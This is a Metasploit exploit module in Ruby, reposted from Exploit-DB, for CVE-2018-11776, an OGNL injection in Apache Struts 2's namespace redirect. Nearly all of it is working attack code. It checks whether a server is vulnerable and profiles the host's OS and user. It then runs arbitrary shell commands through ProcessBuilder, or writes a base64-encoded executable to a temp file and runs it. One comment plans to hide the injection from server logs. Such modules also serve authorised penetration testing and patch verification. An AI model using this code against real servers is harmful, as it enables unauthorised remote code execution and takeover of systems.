Apache Struts 2 – Namespace Redirect OGNL Injection (Metasploit)

  • 作者: Metasploit
    日期: 2018-09-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45367/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    
    # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
    #include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
    'Description'=> %q{
    This module exploits a remote code execution vulnerability in Apache Struts
    version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
    via an endpoint that makes use of a redirect action.
    
    Native payloads will be converted to executables and dropped in the
    server's temp dir. If this fails, try a cmd/* payload, which won't
    have to write to the disk.
    },
    #TODO: Is that second paragraph above still accurate?
    'Author' => [
    'Man Yue Mo', # Discovery
    'hook-s3c', # PoC
    'asoto-r7', # Metasploit module
    'wvu' # Metasploit module
    ],
    'References' => [
    ['CVE', '2018-11776'],
    ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
    ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
    ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
    ],
    'Privileged' => false,
    'Targets'=> [
    [
    'Automatic detection', {
    'Platform' => %w{ unix windows linux },
    'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
    },
    ],
    [
    'Windows', {
    'Platform' => %w{ windows },
    'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
    },
    ],
    [
    'Linux', {
    'Platform' => %w{ unix linux },
    'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
    'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
    },
    ],
    ],
    'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
    'DefaultTarget'=> 0))
    
    register_options(
    [
    Opt::RPORT(8080),
    OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
    OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
    OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
    ]
    )
    register_advanced_options(
    [
    OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
    OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
    OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
    ]
    )
    end
    
    def check
    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
    ognl = "#_memberAccess['allowStaticMethodAccess']"
    
    resp = send_struts_request(ognl)
    
    # If vulnerable, the server should return an HTTP 302 (Redirect)
    # and the 'Location' header should contain either 'true' or 'false'
    if resp && resp.headers['Location']
    output = resp.headers['Location']
    vprint_status("Redirected to:#{output}")
    if (output.include? '/true/')
    print_status("Target does *not* require enabling 'allowStaticMethodAccess'.Setting ENABLE_STATIC to 'false'")
    datastore['ENABLE_STATIC'] = false
    CheckCode::Vulnerable
    elsif (output.include? '/false/')
    print_status("Target requires enabling 'allowStaticMethodAccess'.Setting ENABLE_STATIC to 'true'")
    datastore['ENABLE_STATIC'] = true
    CheckCode::Vulnerable
    else
    CheckCode::Safe
    end
    elsif resp && resp.code==400
    # METHOD 2: Generate two random numbers, ask the target to add them together.
    # If it does, it's vulnerable.
    a = rand(10000)
    b = rand(10000)
    c = a+b
    
    ognl = "#{a}+#{b}"
    
    resp = send_struts_request(ognl)
    
    if resp.headers['Location'].include? c.to_s
    vprint_status("Redirected to:#{resp.headers['Location']}")
    print_status("Target does *not* require enabling 'allowStaticMethodAccess'.Setting ENABLE_STATIC to 'false'")
    datastore['ENABLE_STATIC'] = false
    CheckCode::Vulnerable
    else
    CheckCode::Safe
    end
    end
    end
    
    def exploit
    case payload.arch.first
    when ARCH_CMD
    resp = execute_command(payload.encoded)
    else
    resp = send_payload()
    end
    end
    
    def encode_ognl(ognl)
    # Check and fail if the command contains the follow bad characters:
    # ';' seems to terminates the OGNL statement
    # '/' causes the target to return an HTTP/400 error
    # '\' causes the target to return an HTTP/400 error (sometimes?)
    # '\r' ends the GET request prematurely
    # '\n' ends the GET request prematurely
    
    # TODO: Make sure the following line is uncommented
    bad_chars = %w[; \\ \r \n]# and maybe '/'
    bad_chars.each do |c|
    if ognl.include? c
    print_error("Bad OGNL request: #{ognl}")
    fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
    end
    end
    
    # The following list of characters *must* be encoded or ORNL will asplode
    encodable_chars = { "%": "%25", # Always do this one first.:-)
    " ": "%20",
    "\"":"%22",
    "#": "%23",
    "'": "%27",
    "<": "%3c",
    ">": "%3e",
    "?": "%3f",
    "^": "%5e",
    "`": "%60",
    "{": "%7b",
    "|": "%7c",
    "}": "%7d",
     #"\/":"%2f", # Don't do this.Just leave it front-slashes in as normal.
     #";": "%3b", # Doesn't work.Anyone have a cool idea for a workaround?
     #"\\":"%5c", # Doesn't work.Anyone have a cool idea for a workaround?
     #"\\":"%5c%5c",# Doesn't work.Anyone have a cool idea for a workaround?
    }
    
    encodable_chars.each do |k,v|
     #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
    ognl.gsub!("#{k}","#{v}")
    end
    return ognl
    end
    
    def send_struts_request(ognl, payload: nil)
    =begin#badchar-checking code
    pre = ognl
    =end
    
    ognl = "${#{ognl}}"
    vprint_status("Submitted OGNL: #{ognl}")
    ognl = encode_ognl(ognl)
    
    headers = {'Keep-Alive': 'timeout=5, max=1000'}
    
    if payload
    vprint_status("Embedding payload of #{payload.length} bytes")
    headers[datastore['HEADER']] = payload
    end
    
    # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
    uri = "/#{ognl}/#{datastore['ACTION']}"
    
    resp = send_request_cgi(
     #'encode'=> true, # this fails to encode '\', which is a problem for me
    'uri' => uri,
    'method'=> datastore['HTTPMethod'],
    'headers' => headers
    )
    
    if resp && resp.code == 404
    fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
    end
    
    =begin#badchar-checking code
    print_status("Response code: #{resp.code}")
    #print_status("Response recv: BODY '#{resp.body}'") if resp.body
    if resp.headers['Location']
    print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
    if resp.headers['Location'].split('/')[1] == pre[1..-2]
    print_good("GOT 'EM!")
    else
    print_error(" #{pre[1..-2]}")
    end
    end
    =end
    
    resp
    end
    
    def profile_target
    # Use OGNL to extract properties from the Java environment
    
    properties = { 'os.name': nil,# e.g. 'Linux'
     'os.arch': nil,# e.g. 'amd64'
     'os.version': nil, # e.g. '4.4.0-112-generic'
     'user.name': nil,# e.g. 'root'
     #'user.home': nil, # e.g. '/root' (didn't work in testing)
     'user.language': nil,# e.g. 'en'
     #'java.io.tmpdir': nil,# e.g. '/usr/local/tomcat/temp' (didn't work in testing)
     }
    
    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|('#{rand_text_alpha(2)}')|
    properties.each do |k,v|
    ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
    end
    ognl = ognl[0...-4]
    
    r = send_struts_request(ognl)
    
    if r.code == 400
    fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
    elsif r.headers['Location']
    # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
    # Extract the OGNL output from the Location path, and strip the two random chars
    s = r.headers['Location'].split('/')[1][2..-1]
    
    if s.nil?
    # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
    # But we didn't get any output, so we can't profile the target.Abort.
    return nil
    end
    
    # Confirm that all fields were returned, and non include extra (:) delimiters
    # If the OGNL fails, we might get a partial result back, in which case, we'll abort.
    if s.count(':') > properties.length
    print_error("Failed to profile target.Response from server: #{r.to_s}")
    fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
    end
    
    # Separate the colon-delimited properties and store in the 'properties' hash
    s = s.split(':')
    i = 0
    properties.each do |k,v|
    properties[k] = s[i]
    i += 1
    end
    
    print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
    " #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
    return properties
    else
    print_error("Failed to profile target.Response from server: #{r.to_s}")
    fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
    end
    end
    
    def execute_command(cmd_input, opts={})
    # Semicolons appear to be a bad character in OGNL.cmdstager doesn't understand that.
    if cmd_input.include? ';'
    print_warning("WARNING: Command contains bad characters: semicolons (;).")
    end
    
    begin
    properties = profile_target
    os = properties[:'os.name'].downcase
    rescue
    vprint_warning("Target profiling was unable to determine operating system")
    os = ''
    os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
    os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
    os = 'unix'if datastore['PAYLOAD'].downcase.include? 'unix'
    end
    
    if (os.include? 'linux') || (os.include? 'nix')
    cmd = "{'sh','-c','#{cmd_input}'}"
    elsif os.include? 'win'
    cmd = "{'cmd.exe','/c','#{cmd_input}'}"
    else
    vprint_error("Failed to detect target OS.Attempting to execute command directly")
    cmd = cmd_input
    end
    
    # The following OGNL will run arbitrary commands on Windows and Linux
    # targets, as well as returning STDOUT and STDERR.In my testing,
    # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
    
    vprint_status("Executing: #{cmd}")
    
    ognl =""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start()).|
    ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
    ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
    ognl << %q|(#r.flush())|
    
    r = send_struts_request(ognl)
    
    if r && r.code == 200
    print_good("Command executed:\n#{r.body}")
    elsif r
    if r.body.length == 0
    print_status("Payload sent, but no output provided from server.")
    elsif r.body.length > 0
    print_error("Failed to run command.Response from server: #{r.to_s}")
    end
    end
    end
    
    def send_payload
    # Probe for the target OS and architecture
    begin
    properties = profile_target
    os = properties[:'os.name'].downcase
    rescue
    vprint_warning("Target profiling was unable to determine operating system")
    os = ''
    os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
    os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
    os = 'unix'if datastore['PAYLOAD'].downcase.include? 'unix'
    end
    
    data_header = datastore['HEADER']
    if data_header.empty?
    fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
    end
    
    random_filename = datastore['TEMPFILE']
    
    # d = data stream from HTTP header
    # f = path to temp file
    # s = stream/handle to temp file
    ognl= ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
    ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
    ognl << %q|(#s.write(#d)).|
    ognl << %q|(#s.close()).|
    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete()).|
    
    success_string = rand_text_alpha(4)
    ognl << %Q|('#{success_string}')|
    
    exe = [generate_payload_exe].pack("m").delete("\n")
    r = send_struts_request(ognl, payload: exe)
    
    if r && r.headers && r.headers['Location'].split('/')[1] == success_string
    print_good("Payload successfully dropped and executed.")
    elsif r && r.headers['Location']
    vprint_error("RESPONSE: " + r.headers['Location'])
    fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
    elsif r && r.code == 400
    fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
    end
    end
    end